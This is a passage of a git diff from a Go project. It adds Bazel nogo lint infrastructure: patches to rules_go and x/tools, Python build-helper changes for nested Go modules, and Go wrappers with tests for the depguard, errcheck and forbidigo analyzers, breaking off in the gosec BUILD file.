cmd.Dir = sourceRepoRoot() cmd.Env = environment(map[string]string{ - "BASH_ENV": "", - "BASHOPTS": "", - "BD_LINT_NEW_FROM_MERGE_BASE": "origin/main", - "BEADS_BUILD_TAGS": "stale", - "CGO_ENABLED": "", - "ENV": "", - "GOFLAGS": "-mod=readonly", - "GOFMT": shellVisiblePath(gofmt), - "GO_ARGS_MARKER": shellVisiblePath(argsMarker), - "GO_ENV_MARKER": shellVisiblePath(envMarker), - "LANG": "C", - "LC_ALL": "C", - "PATH": path, - "SHELLOPTS": "", + "BASH_ENV": "", + "BASHOPTS": "", + "BEADS_BUILD_TAGS": "stale", + "CGO_ENABLED": "", + "ENV": "", + "GOFLAGS": "-mod=readonly", + "GOFMT": shellVisiblePath(gofmt), + "GO_ARGS_MARKER": shellVisiblePath(argsMarker), + "GO_ENV_MARKER": shellVisiblePath(envMarker), + "LANG": "C", + "LC_ALL": "C", + "PATH": path, + "SHELLOPTS": "", }) output, runErr := cmd.CombinedOutput() args, argsErr := os.ReadFile(argsMarker) diff --git a/third_party/patches/BUILD.bazel b/third_party/patches/BUILD.bazel index f15db188c..086c77351 100644 --- a/third_party/patches/BUILD.bazel +++ b/third_party/patches/BUILD.bazel @@ -11,6 +11,12 @@ # dolt uses, so `--config=pure` (CGO off) can compile store/nbs, which rules_go # builds as a declared dep even though no pure-Go file imports it. Their init # panics, so a pure binary that does link gozstd fails when started. +# +# rules_go_nogo_golangci_nolint.patch and x_tools_ctrlflow_stdlib_noreturn.patch +# are gascity's (third_party/patches there), byte-identical: nogo (//tools/nogo) +# honors //nolint with golangci-lint's ranges, and ctrlflow knows the standard +# library's no-return functions, which nogo has no facts for. Upstreaming is +# tracked in gascity's ga-96smfk.44. package(default_visibility = ["//visibility:public"]) diff --git a/third_party/patches/rules_go_nogo_golangci_nolint.patch b/third_party/patches/rules_go_nogo_golangci_nolint.patch new file mode 100644 index 000000000..829662db9 --- /dev/null +++ b/third_party/patches/rules_go_nogo_golangci_nolint.patch @@ -0,0 +1,100 @@ +diff -ruN a/go/tools/builders/nogo_main.go b/go/tools/builders/nogo_main.go +--- a/go/tools/builders/nogo_main.go 2026-10-06 23:54:04.475812427 +0000 ++++ b/go/tools/builders/nogo_main.go 2026-10-06 23:55:14.974887313 +0000 +@@ -342,6 +342,7 @@ + } + } + } ++ addGolangciNolintRanges(pkg.fset, f, actions) + // CommentMap will correctly associate comments to the largest node group + // applicable. This handles inline comments that might trail a large + // assignment and will apply the comment to the entire assignment. +@@ -358,7 +359,7 @@ + continue + } + for analyzer, act := range actions { +- if linters == nil || linters[analyzer.Name] { ++ if nolintCovers(linters, analyzer.Name) { + act.nolint = append(act.nolint, rng) + } + } +@@ -379,6 +380,79 @@ + to int + } + ++// staticcheckCheck matches the names of honnef.co/go/tools' per-check ++// analyzers (SA1019, S1016, ST1005, QF1001, ...). ++var staticcheckCheck = regexp.MustCompile(`^(SA|S|ST|QF)[0-9]+$`) ++ ++// nolintCovers reports whether a directive naming linters (nil: all) covers ++// the analyzer. As in golangci-lint, `staticcheck` names every staticcheck ++// check. (gascity third_party/patches) ++func nolintCovers(linters map[string]bool, analyzer string) bool { ++ return linters == nil || linters[analyzer] || (linters["staticcheck"] && staticcheckCheck.MatchString(analyzer)) ++} ++ ++// addGolangciNolintRanges adds golangci-lint's nolint ranges for f, which the ++// directives in a tree linted by golangci-lint were written against, beside ++// the CommentMap ranges above: each directive covers its comment group's own ++// lines, extended over any node that starts on the next line at the group's ++// column. Without them a directive trailing `func f(a, b int) {` misses the ++// signature line, because the CommentMap attaches it to the body's first ++// statement. (gascity third_party/patches) ++func addGolangciNolintRanges(fset *token.FileSet, f *ast.File, actions map[*analysis.Analyzer]*action) { ++ type inlineRange struct { ++ from, to, col int ++ linters map[string]bool ++ } ++ var inline []inlineRange ++ for _, group := range f.Comments { ++ for _, comm := range group.List { ++ linters, ok := parseNolint(comm.Text) ++ if !ok { ++ continue ++ } ++ start := fset.Position(group.Pos()) ++ inline = append(inline, inlineRange{ ++ from: start.Line, ++ to: fset.Position(group.End()).Line, ++ col: start.Column, ++ linters: linters, ++ }) ++ } ++ } ++ if len(inline) == 0 { ++ return ++ } ++ filename := fset.Position(f.Pos()).Filename ++ add := func(from, to int, linters map[string]bool) { ++ rng := &Range{from: token.Position{Filename: filename, Line: from}, to: to} ++ for analyzer, act := range actions { ++ if nolintCovers(linters, analyzer.Name) { ++ act.nolint = append(act.nolint, rng) ++ } ++ } ++ } ++ for _, r := range inline { ++ add(r.from, r.to, r.linters) ++ } ++ ast.Inspect(f, func(n ast.Node) bool { ++ if n == nil { ++ return true ++ } ++ start := fset.Position(n.Pos()) ++ for _, r := range inline { ++ if r.to == start.Line-1 && start.Column == r.col { ++ end := fset.Position(n.End()).Line ++ if end < r.to { ++ end = r.to ++ } ++ add(r.from, end, r.linters) ++ break ++ } ++ } ++ return true ++ }) ++} ++ + // factProducers returns the set of analyzers that declare facts among the + // transitive closure of as. + func factProducers(as []*analysis.Analyzer) []*analysis.Analyzer { diff --git a/third_party/patches/x_tools_ctrlflow_stdlib_noreturn.patch b/third_party/patches/x_tools_ctrlflow_stdlib_noreturn.patch new file mode 100644 index 000000000..f4f143446 --- /dev/null +++ b/third_party/patches/x_tools_ctrlflow_stdlib_noreturn.patch @@ -0,0 +1,34 @@ +diff -ruN a/go/analysis/passes/ctrlflow/ctrlflow.go b/go/analysis/passes/ctrlflow/ctrlflow.go +--- a/go/analysis/passes/ctrlflow/ctrlflow.go 2026-10-06 23:27:28.576172198 +0000 ++++ b/go/analysis/passes/ctrlflow/ctrlflow.go 2026-10-06 23:27:28.604645688 +0000 +@@ -222,6 +222,16 @@ + } + + // Not declared in this package. ++ // Known intrinsically? (gascity third_party/patches: Bazel's nogo does ++ // not analyze the standard library, so its no-return functions, listed ++ // in knownIntrinsic, have no facts to import.) ++ if noreturn, known := knownIntrinsic(fn); known { ++ if noreturn { ++ c.noReturn[fn] = true ++ } ++ return !noreturn ++ } ++ + // Is there a fact from another package? + if c.pass.ImportObjectFact(fn, new(noReturn)) { + c.noReturn[fn] = true +@@ -245,6 +255,13 @@ + // Functions known intrinsically never to return. + if typesinternal.IsFunctionNamed(fn, "syscall", "Exit", "ExitProcess", "ExitThread") || + typesinternal.IsFunctionNamed(fn, "runtime", "Goexit", "fatalthrow", "fatalpanic", "exit") || ++ // Standard-library functions that never return. Analysis of the ++ // standard library normally derives these as facts; Bazel's nogo ++ // does not analyze it (gascity third_party/patches). ++ typesinternal.IsFunctionNamed(fn, "os", "Exit") || ++ typesinternal.IsFunctionNamed(fn, "log", "Fatal", "Fatalf", "Fatalln", "Panic", "Panicf", "Panicln") || ++ typesinternal.IsMethodNamed(fn, "log", "Logger", "Fatal", "Fatalf", "Fatalln", "Panic", "Panicf", "Panicln") || ++ typesinternal.IsMethodNamed(fn, "testing", "common", "FailNow", "Fatal", "Fatalf", "SkipNow", "Skip", "Skipf") || + // Following staticcheck (see go/ir/exits.go) we include functions + // in several popular logging packages whose no-return status is + // beyond the analysis to infer. diff --git a/tools/bazel/equivalence.py b/tools/bazel/equivalence.py index f45998fde..40b67c875 100644 --- a/tools/bazel/equivalence.py +++ b/tools/bazel/equivalence.py @@ -43,6 +43,10 @@ does; the default mode keeps the worst. A failure in any target still fails a job comparison (listed per target), and so does a missing test.xml of any target in the job's packages, variant or not. +Packages of nested Go modules (a go.mod below the root: tools/nogo, the nogo +analyzers' own module) are outside `go test ./...`, so their Bazel tests are +neither expected nor reported as extra. + Divergences listed in the allowlist (tools/bazel/equivalence_allowlist.txt) are expected; anything else fails. The allowlist format is one entry per line: @@ -122,6 +126,13 @@ def go_expected(root, go_json_path=None): return expected, dirs +def in_nested_module(root, pkg): + """Whether pkg (a directory relative to root) belongs to a Go module + other than root's: a go.mod at or above it, below root.""" + parts = pkg.split("/") if pkg else [] + return any(os.path.exists(os.path.join(root, *parts[:i], "go.mod")) for i in range(1, len(parts) + 1)) + + def go_test_statuses(path, dirs): """Return {pkg_dir: {test: status}} for top-level tests in `go test -json` output. Packages go list does not know are skipped.""" @@ -333,6 +344,7 @@ def main(argv=None): bep_tested, testlogs, bep_configured, args.job, observed, failures if args.job else None, no_xml if args.job else None) problems += bep_problems + observed = {pkg: seen for pkg, seen in observed.items() if not in_nested_module(root, pkg)} target_pkgs = None if (args.no_query or args.job) else query_go_test_pkgs(root, args.bazel) go_status = go_test_statuses(args.go_test_json, dirs) if args.go_test_json else None if args.job: diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index 896c129af..e4ca6b6d3 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -38,7 +38,8 @@ scripts/ci/bazel-release-cross-compile.sh builds for every release platform, listing every go_library and go_binary it can see (the packages `go build ./...` compiles; a private library is compiled by the go_binary that embeds it) except the cgo-only ones a pure build cannot link (tagged "cgo-only" and -incompatible with //tools/bazel:pure) and testonly fixtures. The script checks +incompatible with //tools/bazel:pure), testonly fixtures, and the packages of +nested Go modules (tools/nogo), which `go build ./...` skips. The script checks against `bazel query` before it builds that every Bazel package holding Go targets is reached, so a package this parser misses fails CI instead of going uncompiled. @@ -230,10 +231,21 @@ def repo_files_block(pkg: str, packages: list[str]) -> str: return "\n".join(lines) + "\n" +def in_nested_module(pkg: str) -> bool: + """Whether pkg belongs to a Go module other than the root one (its own + go.mod at or above it, below the root), which `go build ./...` skips.""" + parts = [] if pkg == "." else pkg.split("/") + return any(os.path.exists(os.path.join(*parts[:i], "go.mod")) for i in range(1, len(parts) + 1)) + + def go_targets(packages: list[str]) -> list[str]: """Every go_library and go_binary that a pure build can compile.""" labels = [] for pkg in packages: + # tools/nogo (the nogo analyzers' own module) is not part of + # `go build ./...` or of any release. + if in_nested_module(pkg): + continue with open(os.path.join(pkg, "BUILD.bazel")) as f: src = f.read() for kind, name, body in GO_RULE_RE.findall(src): diff --git a/tools/nogo/BUILD.bazel b/tools/nogo/BUILD.bazel new file mode 100644 index 000000000..1e44a0bca --- /dev/null +++ b/tools/nogo/BUILD.bazel @@ -0,0 +1,66 @@ +load("@rules_go//go:def.bzl", "go_test", "nogo") +load(":analyzers.bzl", "NOGO_ANALYZERS") + +# gazelle:prefix github.com/steveyegge/beads/tools/nogo + +# nogo: lint and vet as part of every Go compile. MODULE.bazel registers this +# target with go_sdk.nogo, so `bazel build //...` (locally or on RBE) fails on +# any finding. Replaces `go vet` (go test's checks) and golangci-lint; gofmt +# stays with //scripts/repochecks:fmt_test. +nogo( + name = "nogo", + config = "config.json", + visibility = ["//visibility:public"], + deps = NOGO_ANALYZERS, +) + +go_test( + name = "nogo_test", + srcs = [ + "analyzers_test.go", + "modules_test.go", + ], + data = [ + "analyzers.bzl", + "config.json", + "go.mod", + "//:.golangci.yml", + "//:go.mod", + ], # keep + deps = [ + "//tools/nogo/analyzers/depguard", + "//tools/nogo/analyzers/errcheck", + "//tools/nogo/analyzers/forbidigo", + "//tools/nogo/analyzers/gosec", + "//tools/nogo/analyzers/misspell", + "//tools/nogo/analyzers/sloglint", + "//tools/nogo/analyzers/unconvert", + "//tools/nogo/analyzers/unparam", + "//tools/nogo/internal/golangci", + "@org_golang_x_mod//modfile", + "@org_golang_x_mod//semver", + "@org_golang_x_tools//go/analysis", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers.bzl b/tools/nogo/analyzers.bzl new file mode 100644 index 000000000..00a351e56 --- /dev/null +++ b/tools/nogo/analyzers.bzl @@ -0,0 +1,47 @@ +"""The nogo analyzer set: what `go vet` and golangci-lint checked, as go/analysis passes. + +This is the single list of analyzers `//tools/nogo` runs on every Go compile: + + - VET_PASSES: the vet checks `go test` runs (cmd/go's defaultVetFlags), which + pr.yml ran over ./... as `go vet` (scripts/ci/go-test-vet.sh) because + rules_go's go_test runs none. scripts/pr_lanes_bazel_coverage_test.go keeps + the list equal to the Go toolchain's. They see every file, tests included, + as `go vet ./...` did. + - GOLANGCI_LINTERS: the linters .golangci.yml enables, each wrapped by + //tools/nogo/internal/golangci so that .golangci.yml's settings, + run.tests, generated-file handling and exclusion rules apply as they did + under golangci-lint. //tools/nogo:nogo_test keeps the list equal to + .golangci.yml's linters.enable. +""" + +# cmd/go's defaultVetFlags (Go 1.26), as analyzer names (-bool is "bools", +# -buildtags "buildtag"). +VET_PASSES = [ + "atomic", + "bools", + "buildtag", + "directive", + "errorsas", + "ifaceassert", + "nilfunc", + "printf", + "slog", + "stringintconv", + "tests", +] + +GOLANGCI_LINTERS = [ + "depguard", + "errcheck", + "forbidigo", + "gosec", + "misspell", + "sloglint", + "unconvert", + "unparam", +] + +NOGO_ANALYZERS = ["@org_golang_x_tools//go/analysis/passes/" + p for p in VET_PASSES] + [ + "//tools/nogo/analyzers/" + linter + for linter in GOLANGCI_LINTERS +] diff --git a/tools/nogo/analyzers/depguard/BUILD.bazel b/tools/nogo/analyzers/depguard/BUILD.bazel new file mode 100644 index 000000000..8dda85443 --- /dev/null +++ b/tools/nogo/analyzers/depguard/BUILD.bazel @@ -0,0 +1,44 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "depguard", + srcs = ["depguard.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/depguard", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "@com_github_openpeedeep_depguard_v2//:depguard", + "@org_golang_x_tools//go/analysis", + ], +) + +go_test( + name = "depguard_test", + srcs = ["depguard_test.go"], + deps = [ + ":depguard", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/depguard/depguard.go b/tools/nogo/analyzers/depguard/depguard.go new file mode 100644 index 000000000..1a6e12ec4 --- /dev/null +++ b/tools/nogo/analyzers/depguard/depguard.go @@ -0,0 +1,110 @@ +// Package depguard runs github.com/OpenPeeDeeP/depguard/v2 with the rules in +// .golangci.yml's linters.settings.depguard, as golangci-lint does. +package depguard + +import ( + "go/token" + "strings" + + "github.com/OpenPeeDeeP/depguard/v2" + "golang.org/x/tools/go/analysis" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// Analyzer reports imports the configured depguard rules deny. +var Analyzer = golangci.Wrap("depguard", &analysis.Analyzer{ + Name: "depguard", + Doc: "checks package imports against the depguard rules in .golangci.yml", + Run: run, +}) + +const goStd = "$gostd" + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + std := stdPrefixes(pass) + settings := depguard.LinterSettings{} + for name, rule := range cfg.Linters.Settings.Depguard.Rules { + deny := map[string]string{} + for _, d := range rule.Deny { + if d.Pkg == goStd { + for _, p := range std { + deny[p] = d.Desc + } + continue + } + deny[d.Pkg] = d.Desc + } + settings[name] = &depguard.List{ + ListMode: rule.ListMode, + Files: rule.Files, + Allow: expandGoStd(rule.Allow, std), + Deny: deny, + } + } + a, err := depguard.NewAnalyzer(&settings) + if err != nil { + return nil, err + } + rooted := *pass + rooted.Fset = Rooted(pass.Fset) + return a.Run(&rooted) +} + +// stdPrefixes stands in for depguard's $gostd, which lists $GOROOT/src's +// top-level directories (a nogo action has no GOROOT source tree). It returns +// the first path element of every standard-library import in the pass, by +// cmd/go's own rule: a standard import path has no dot in its first element. +// "C" (cgo) is not a GOROOT directory. "unsafe" keeps an allow list non-empty +// for a package with no standard imports; it is a GOROOT directory too. +func stdPrefixes(pass *analysis.Pass) []string { + seen := map[string]bool{"unsafe": true} + out := []string{"unsafe"} + for _, f := range pass.Files { + for _, imp := range f.Imports { + path := strings.Trim(imp.Path.Value, "\"`") + first, _, _ := strings.Cut(path, "/") + if first == "C" || strings.Contains(first, ".") || seen[first] { + continue + } + seen[first] = true + out = append(out, first) + } + } + return out +} + +func expandGoStd(list, std []string) []string { + var out []string + for _, p := range list { + if p == goStd { + out = append(out, std...) + continue + } + out = append(out, p) + } + return out +} + +// Rooted returns a copy of fset whose file names are rooted at "/": the +// absolute paths golangci-lint hands depguard, so that a files pattern such +// as "**/internal/storage/**" or "$all" ("**/*.go") also matches a file at +// the repository root, where nogo's execroot-relative name has no leading +// directory. Every token.Pos keeps its meaning. +func Rooted(fset *token.FileSet) *token.FileSet { + out := token.NewFileSet() + fset.Iterate(func(f *token.File) bool { + name := f.Name() + if !strings.HasPrefix(name, "/") { + name = "/" + name + } + nf := out.AddFile(name, f.Base(), f.Size()) + nf.SetLines(f.Lines()) + return true + }) + return out +} diff --git a/tools/nogo/analyzers/depguard/depguard_test.go b/tools/nogo/analyzers/depguard/depguard_test.go new file mode 100644 index 000000000..3b960da47 --- /dev/null +++ b/tools/nogo/analyzers/depguard/depguard_test.go @@ -0,0 +1,48 @@ +package depguard_test + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/depguard" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +// The rules come from the repository's .golangci.yml. + +func TestFilesGlobsMatchRepositoryRelativeNames(t *testing.T) { + got := analyzertest.RunInRepo(t, depguard.Analyzer, "internal/workapi", map[string]string{ + "w.go": "package workapi\n\nimport _ \"github.com/spf13/cobra\"\n", + }) + if len(got) != 1 || !strings.HasPrefix(got[0].Message, "import 'github.com/spf13/cobra' is not allowed from list 'workapi-frontend-boundary'") { + t.Fatalf("diagnostics = %+v, want the workapi-frontend-boundary denial", got) + } +} + +// "$all" is "**/*.go": golangci-lint hands depguard absolute paths, so it +// covers files at the repository root too. +func TestAllCoversTheRepositoryRoot(t *testing.T) { + got := analyzertest.RunInRepo(t, depguard.Analyzer, "", map[string]string{ + "root.go": "package beads\n\nimport _ \"github.com/dolthub/dolt/go/libraries/doltcore/doltdb\"\n", + }) + if len(got) != 1 || !strings.Contains(got[0].Message, "'dolt-storage-boundary'") { + t.Fatalf("diagnostics = %+v, want the dolt-storage-boundary denial", got) + } +} + +func TestNegatedFilesAreExempt(t *testing.T) { + got := analyzertest.RunInRepo(t, depguard.Analyzer, "internal/storage/x", map[string]string{ + "x.go": "package x\n\nimport _ \"github.com/dolthub/dolt/go/libraries/doltcore/doltdb\"\n", + }) + analyzertest.Equal(t, got, nil) +} + +// beadserrors' strict rule allows only $gostd. +func TestGoStdAllowList(t *testing.T) { + got := analyzertest.RunInRepo(t, depguard.Analyzer, "beadserrors", map[string]string{ + "e.go": "package beadserrors\n\nimport (\n\t_ \"errors\"\n\t_ \"net/http\"\n\t_ \"github.com/steveyegge/beads/internal/types\"\n)\n", + }) + if len(got) != 1 || !strings.HasPrefix(got[0].Message, "import 'github.com/steveyegge/beads/internal/types' is not allowed from list 'beadserrors-leaf'") { + t.Fatalf("diagnostics = %+v, want only the internal/types denial", got) + } +} diff --git a/tools/nogo/analyzers/errcheck/BUILD.bazel b/tools/nogo/analyzers/errcheck/BUILD.bazel new file mode 100644 index 000000000..2d1eaa1b2 --- /dev/null +++ b/tools/nogo/analyzers/errcheck/BUILD.bazel @@ -0,0 +1,46 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "errcheck", + srcs = ["errcheck.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/errcheck", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "//tools/nogo/internal/position", + "@com_github_kisielk_errcheck//errcheck", + "@org_golang_x_tools//go/analysis", + "@org_golang_x_tools//go/packages", + ], +) + +go_test( + name = "errcheck_test", + srcs = ["errcheck_test.go"], + deps = [ + ":errcheck", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/errcheck/errcheck.go b/tools/nogo/analyzers/errcheck/errcheck.go new file mode 100644 index 000000000..4b6e5ebe7 --- /dev/null +++ b/tools/nogo/analyzers/errcheck/errcheck.go @@ -0,0 +1,75 @@ +// Package errcheck runs github.com/kisielk/errcheck as golangci-lint's errcheck +// linter does, with .golangci.yml's linters.settings.errcheck. +package errcheck + +import ( + "cmp" + "fmt" + "regexp" + "strings" + + "github.com/kisielk/errcheck/errcheck" + "golang.org/x/tools/go/analysis" + "golang.org/x/tools/go/packages" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" + "github.com/steveyegge/beads/tools/nogo/internal/position" +) + +// Analyzer reports unchecked errors. +var Analyzer = golangci.Wrap("errcheck", &analysis.Analyzer{ + Name: "errcheck", + Doc: "reports unchecked errors", + Run: run, +}) + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + settings := cfg.Linters.Settings.Errcheck + checker := errcheck.Checker{ + Exclusions: errcheck.Exclusions{ + BlankAssignments: !settings.CheckAssignToBlank, + TypeAssertions: !settings.CheckTypeAssertions, + SymbolRegexpsByPackage: map[string]*regexp.Regexp{}, + }, + } + if !settings.DisableDefaultExclusions { + checker.Exclusions.Symbols = append(checker.Exclusions.Symbols, errcheck.DefaultExcludedSymbols...) + } + checker.Exclusions.Symbols = append(checker.Exclusions.Symbols, settings.ExcludeFunctions...) + + pkg := &packages.Package{ + Fset: pass.Fset, + Syntax: pass.Files, + Types: pass.Pkg, + TypesInfo: pass.TypesInfo, + } + idx := position.NewIndex(pass) + for _, u := range checker.CheckPackage(pkg).Unique().UncheckedErrors { + pos, ok := idx.Pos(u.Pos) + if !ok { + continue + } + pass.Report(analysis.Diagnostic{Pos: pos, Message: Message(u, settings.Verbose)}) + } + return nil, nil +} + +// Message is golangci-lint's text for an unchecked error, which +// .golangci.yml's exclusion rules match against. +func Message(u errcheck.UncheckedError, verbose bool) string { + if u.FuncName == "" { + return "Error return value is not checked" + } + code := cmp.Or(u.SelectorName, u.FuncName) + if verbose { + code = u.FuncName + } + if !strings.Contains(code, "`") { + code = "`" + code + "`" + } + return fmt.Sprintf("Error return value of %s is not checked", code) +} diff --git a/tools/nogo/analyzers/errcheck/errcheck_test.go b/tools/nogo/analyzers/errcheck/errcheck_test.go new file mode 100644 index 000000000..33c68fb81 --- /dev/null +++ b/tools/nogo/analyzers/errcheck/errcheck_test.go @@ -0,0 +1,35 @@ +package errcheck_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/errcheck" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +// The expected messages are golangci-lint v2.10.1's for the same package. +func TestReportsUncheckedErrorsAsGolangciLintDoes(t *testing.T) { + got := analyzertest.RunInRepo(t, errcheck.Analyzer, "p", map[string]string{ + "p.go": `package p + +type closer struct{} + +func (closer) Close() error { return nil } + +func f() error { return nil } + +func g() { + f() + _ = f() + closer{}.Close() + if err := f(); err != nil { + return + } +} +`, + }) + analyzertest.Equal(t, got, []analyzertest.Diagnostic{ + {File: "p.go", Line: 10, Message: "Error return value is not checked"}, + {File: "p.go", Line: 12, Message: "Error return value of `(example.com/repo/p.closer).Close` is not checked"}, + }) +} diff --git a/tools/nogo/analyzers/forbidigo/BUILD.bazel b/tools/nogo/analyzers/forbidigo/BUILD.bazel new file mode 100644 index 000000000..ae87048b5 --- /dev/null +++ b/tools/nogo/analyzers/forbidigo/BUILD.bazel @@ -0,0 +1,45 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "forbidigo", + srcs = ["forbidigo.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/forbidigo", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "@com_github_ashanbrown_forbidigo_v2//forbidigo", + "@in_gopkg_yaml_v3//:yaml_v3", + "@org_golang_x_tools//go/analysis", + ], +) + +go_test( + name = "forbidigo_test", + srcs = ["forbidigo_test.go"], + deps = [ + ":forbidigo", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/forbidigo/forbidigo.go b/tools/nogo/analyzers/forbidigo/forbidigo.go new file mode 100644 index 000000000..360cc61a2 --- /dev/null +++ b/tools/nogo/analyzers/forbidigo/forbidigo.go @@ -0,0 +1,77 @@ +// Package forbidigo runs github.com/ashanbrown/forbidigo/v2 as golangci-lint's +// forbidigo linter does, with .golangci.yml's linters.settings.forbidigo. +package forbidigo + +import ( + "fmt" + + "github.com/ashanbrown/forbidigo/v2/forbidigo" + "golang.org/x/tools/go/analysis" + "gopkg.in/yaml.v3" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// Analyzer reports uses of forbidden identifiers. +var Analyzer = golangci.Wrap("forbidigo", &analysis.Analyzer{ + Name: "forbidigo", + Doc: "forbids the identifiers .golangci.yml lists", + Run: run, +}) + +// pattern is golangci-lint's ForbidigoPattern as forbidigo.NewLinter reads it. +type pattern struct { + Pattern string `yaml:"p"` + Package string `yaml:"pkg,omitempty"` + Msg string `yaml:"msg,omitempty"` +} + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + settings := cfg.Linters.Settings.Forbidigo + linter, err := NewLinter(settings) + if err != nil { + return nil, err + } + for _, file := range pass.Files { + rc := forbidigo.RunConfig{Fset: pass.Fset} + if settings.AnalyzeTypes { + rc.TypesInfo = pass.TypesInfo + } + hints, err := linter.RunWithConfig(rc, file) + if err != nil { + return nil, fmt.Errorf("forbidigo on %s: %w", pass.Fset.File(file.Pos()).Name(), err) + } + for _, hint := range hints { + pass.Report(analysis.Diagnostic{Pos: hint.Pos(), Message: hint.Details()}) + } + } + return nil, nil +} + +// NewLinter builds forbidigo's linter from the settings, with golangci-lint's +// options: //permit directives are ignored (only //nolint counts), and godoc +// examples are skipped unless exclude-godoc-examples is false. +func NewLinter(settings golangci.ForbidigoSettings) (*forbidigo.Linter, error) { + excludeExamples := settings.ExcludeGodocExamples == nil || *settings.ExcludeGodocExamples + var patterns []string + for _, p := range settings.Forbid { + buf, err := yaml.Marshal(pattern{Pattern: p.Pattern, Package: p.Pkg, Msg: p.Msg}) + if err != nil { + return nil, err + } + patterns = append(patterns, string(buf)) + } + linter, err := forbidigo.NewLinter(patterns, + forbidigo.OptionExcludeGodocExamples(excludeExamples), + forbidigo.OptionIgnorePermitDirectives(true), + forbidigo.OptionAnalyzeTypes(settings.AnalyzeTypes), + ) + if err != nil { + return nil, fmt.Errorf("forbidigo: %w", err) + } + return linter, nil +} diff --git a/tools/nogo/analyzers/forbidigo/forbidigo_test.go b/tools/nogo/analyzers/forbidigo/forbidigo_test.go new file mode 100644 index 000000000..41ab2b784 --- /dev/null +++ b/tools/nogo/analyzers/forbidigo/forbidigo_test.go @@ -0,0 +1,37 @@ +package forbidigo_test + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/forbidigo" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +const labelUse = `package main + +type uow struct{} + +func (uow) LabelUseCase() int { return 0 } + +func f(u uow) int { return u.LabelUseCase() } +` + +// The LabelUseCase rule applies across cmd/bd; .golangci.yml's path-except +// rule keeps forbidigo off the rest of the tree. +func TestRulesApplyOnlyWhereTheExclusionsLeaveThem(t *testing.T) { + got := analyzertest.RunInRepo(t, forbidigo.Analyzer, "cmd/bd", map[string]string{"x.go": labelUse}) + if len(got) != 1 || got[0].Line != 7 || !strings.HasPrefix(got[0].Message, "use of `u.LabelUseCase` forbidden because \"reach the label plane") { + t.Fatalf("diagnostics = %+v, want the LabelUseCase rule", got) + } + analyzertest.Equal(t, analyzertest.RunInRepo(t, forbidigo.Analyzer, "internal/other", map[string]string{"x.go": labelUse}), nil) +} + +// run.tests: false: a test compile unit is not analyzed at all. +func TestTestUnitsAreSkipped(t *testing.T) { + got := analyzertest.RunInRepo(t, forbidigo.Analyzer, "cmd/bd", map[string]string{ + "x.go": labelUse, + "x_test.go": "package main\n", + }) + analyzertest.Equal(t, got, nil) +} diff --git a/tools/nogo/analyzers/gosec/BUILD.bazel b/tools/nogo/analyzers/gosec/BUILD.bazel new file mode 100644 index 000000000..0f13fb1c9 --- /dev/null +++ b/tools/nogo/analyzers/gosec/BUILD.bazel @@ -0,0 +1,49 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "gosec", + srcs = ["gosec.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/gosec", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "//tools/nogo/internal/position", + "@com_github_securego_gosec_v2//:gosec", + 